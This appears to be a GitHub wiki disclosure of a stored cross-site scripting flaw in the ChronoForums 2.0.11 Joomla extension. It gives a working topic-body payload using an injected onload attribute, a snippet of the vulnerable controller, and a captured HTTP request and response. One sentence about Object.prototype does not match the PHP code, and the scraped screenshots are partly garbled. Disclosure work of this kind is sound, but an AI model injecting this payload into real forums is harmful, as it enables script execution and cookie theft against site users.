

Stored XSS Vulnerability in Chronoforum v2.0.11 (Joomla plugin)

[Jump to bottom](#)

nugmubs edited this page on Nov 16, 2020 · 6 revisions

Vulnerability Information

- Vendor: Chronoforums v2.0.11 (Joomla's plugin)
- Vulnerability : Stored XSS
- Impact : Joomla Homepage with the chronoforum plug-in

A Stored XSS vulnerability was found in the installable Chronoforums extension plug-in on Joomla's Plug-in Install page.

Discoverer

- nugmubs in Naver Business Platform (NBP)

Product

- [chronoforums v2.0.11](#)
- [Chronoforums_v2.0.11_Extension.zip](#)

Update Version

- It's still vulnerable.

History

- 2020.08.26 Inform the vulnerability to [chronoengines.com](#)
- 2020.11.16 It still has the vulnerability

Overview of Vulnerability

ChronoForms 2.0.11 is affected by: Stored Cross Site Scripting (Stored XSS). The impact is: execute JavaScript in victim's browser, when the vulnerable page is loaded.

1. Install Chronoforum in Joomla plugin Installation Page.

- Install Chronoforum in Joomla Admin Page

← → ↻ 주의 요함 | mymac.test:93/administrator/index.php?option=com_installer&view=install

System ▾ Users ▾ Menus ▾ Content ▾ Components ▾ Extensions ▾ Help ▾

Extensions: Install

Message
Installation of the plugin was successful.

This plugin offers functionality for the 'Install from Web' tab.

Install from Web | Upload Package File | Install from Folder | Install from URL

CATEGORIES

- Home
- Access & Security
- Administration
- Ads & Affiliates
- Authoring & Content
- Calendars & Events
- Clients & Communities
- Communication
- Chat
- Chat - hosted
- Forum
- Forum add-ons. Autonomous
- Forum Bridges
- Instant Messaging
- Live Support
- Live Support - hosted
- Online Status
- Phone & SMS
- PMS
- Question & Answers
- Shoutbox

Search

Current Joomla! Version ▾

Extensions / Communication / Forum

15 reviews with a score of 89/100

CHRONO FORUMS

C M

ChronoForums

A Joomla! forums extension for all your needs, simple with lots of features: - Nested forums support. - Lock/Stick topics or tag forum topics, tags can have priorities. - Advanced search by relevance. - Posts reporting and topics manual activation by

260 reviews with a score of 83/100

kunena

C M P

Kunena

Kunena is the leading Joomla! forum component. Downloaded more than 8M times in 11 years, Kunena is the only forum/discussion solution for Joomla! that is community driven - true open source - public self-help forums, GitHub and

12 reviews with a score of 82/100

CJFORUM

S C M P

CjForum

Build awesome discussion forums with integrated social features, beautiful user interface and power packed feature set. - "Mobile Ready": Not just looks but also behaves great on smartphones, tablets, and desktops. - "Personal

View Site | 0 Visitors | 1 Administrator | 0 Messages | Log out

2. Inject Payload

The vulnerability exists when you enter Payload below in the New Topic creation screen of the Forum.

The JavaScript (semantic.min.js) creates an iframe, which results in the saved Payload operation resulting in an XSS vulnerability.

An attacker can steal a user's cookies or engage in malicious behavior through a stored XSS.

Vulnerable Payload: [youtube]<http://example.com> onload="alert('XSS Proofed')" <http://example.com>[youtube]

Popular Tags

[Joomla](#)

Latest Articles

[Getting Started](#)

Login Form

Username

Password

☐ Remember Me[Log in](#)[Forgot your password?](#)[Forgot your username?](#)[Forums](#) » [PoC TOPIC](#) » Chrono Forums XSS PoC

00:26



Chrono Forums XSS PoC

nugmubs , August 25 2020, 23:30



1 - 2 of 2

1

Post text *

XSS Proofed
[youtube]http://example.com" **CENSORED** n[/youtube]



Post

1 - 2 of 2

1

3. Vulnerable Source Code

com_chronoforums2 extension accepts unsanitized inputs and stores it in the database. please, see the below picture.

When the payload([youtube]http://example.com" onload=alert('XSS Proofed')" http://example.com[/youtube]) is rendered on any browsers(Chrome, Safari, Firefox) , injected payload is evaluated, then execute malicious javascript code.

/components/com_chronoforums2/chronoforums/controllers/topics.php:381

If an unsanitized source object contained an enumerable proto property, it could extend the native Object.prototype.

```
358         ' => true];
359         }else{
360             \GApp::session()->set('last_forum_post', time());
361         }
362     }
363
364     $postsController = $this->getController('posts');
365
366     $topic = [];
367     $topic['title'] = $this->data['Topic']['title'];
368     $topic['published'] = (int)($this->get('settings.auto_publish_topics', 0) OR \GApp::access('chronoforums', '
topics_moderate'));
369     $topic['forum_id'] = $this->data['f'];
370
371     if($topic['published'] == 0){
372         $auto_approval = $postsController->checkAutoApproval();
373         if(is_array($auto_approval)){
374             return array_merge($auto_approval, ['reload' => true]);
375         }else{
376             $topic['published'] = (int)$auto_approval;
377         }
378     }
379
380     //save topic
381     $result = $this->Topic->store($topic, $this->data['Post.text'], $this->data['Attachment', []]);
382     if($result != true){
383         return array_merge($result, ['reload' => true]);
384     }
385
386     //save tags
387     if((int)$this->get('settings.enable_topics_tags', 1) AND !empty($this->data['tags']) AND count($this->data['
```

Vulnerable Path

Request

```
1 POST /index.php/topics/add HTTP/1.1
2 Host: localhost:8080
3 Content-Length: 344
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://localhost:8080
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win
9 Chrome/86.0.4240.183 Safari/537.36
10 Accept:
11 text/html,application/xhtml+xml,application/x
12 plication/signed-exchange;v=b3;q=0.9
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-User: ?1
16 Sec-Fetch-Dest: document
17 Referer: http://localhost:8080/index.php/topics/add/f1
18 Accept-Encoding: gzip, deflate
19 Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
20 Cookie: 53e0d197dbf73655ea6f6d81fa21b25=bdac7904c575aeb614cb68370bcb7106; joomla_user_state=
logged_in
Connection: close
```

Response

```
1 [div][youtube]http://example.com" onload="alert('XSS
Proofed')"'http://example.com[/youtube]/div]
```

Converted text

Copy to clipboard

Close

Search... 0 matches

5. PoC

Payload When the inserted page is loaded, the inserted code acts and the script runs.

Open Source Management

mymac.test:93 내용:

XSS Proofed

확인

You are here: [Home](#) > [Forum](#) > [Forums](#) > [PoC TOPIC](#) > Chrono Forums XSS PoC

Popular Tags

- [Joomla](#)

Latest Articles

- [Getting Started](#)

Login Form

Username

Password

☐ Remember Me

[Log in](#)

[Forgot your password?](#)

[Forgot your username?](#)

Forums > PoC TOPIC > Chrono Forums XSS PoC

00:26

Chrono Forums XSS PoC

nugmubs , August 25 2020, 23:30

1 - 2 of 2 1

Guest

August 26 2020, 00:28 #3

XSS Proofed

11:52 (Debi

21

posts/

005 0

Nov

3, no

1; ch

Pages 2

Find a page...

▸ [Home](#)

▼ [Stored XSS Vulnerability in Chronoforum v2.0.11 \(Joomla plugin\)](#)

Vulnerability Information

Discoverer

Product

Update Version

History

Overview of Vulnerability

1. Install Chronoforum in Joomla plugin Installation Page.

2. Inject Payload

3. Vulnerable Source Code

Vulnerable Path

5. PoC

Clone this wiki locally

<https://github.com/nugmubs/chronoforums-cve.wiki.git>

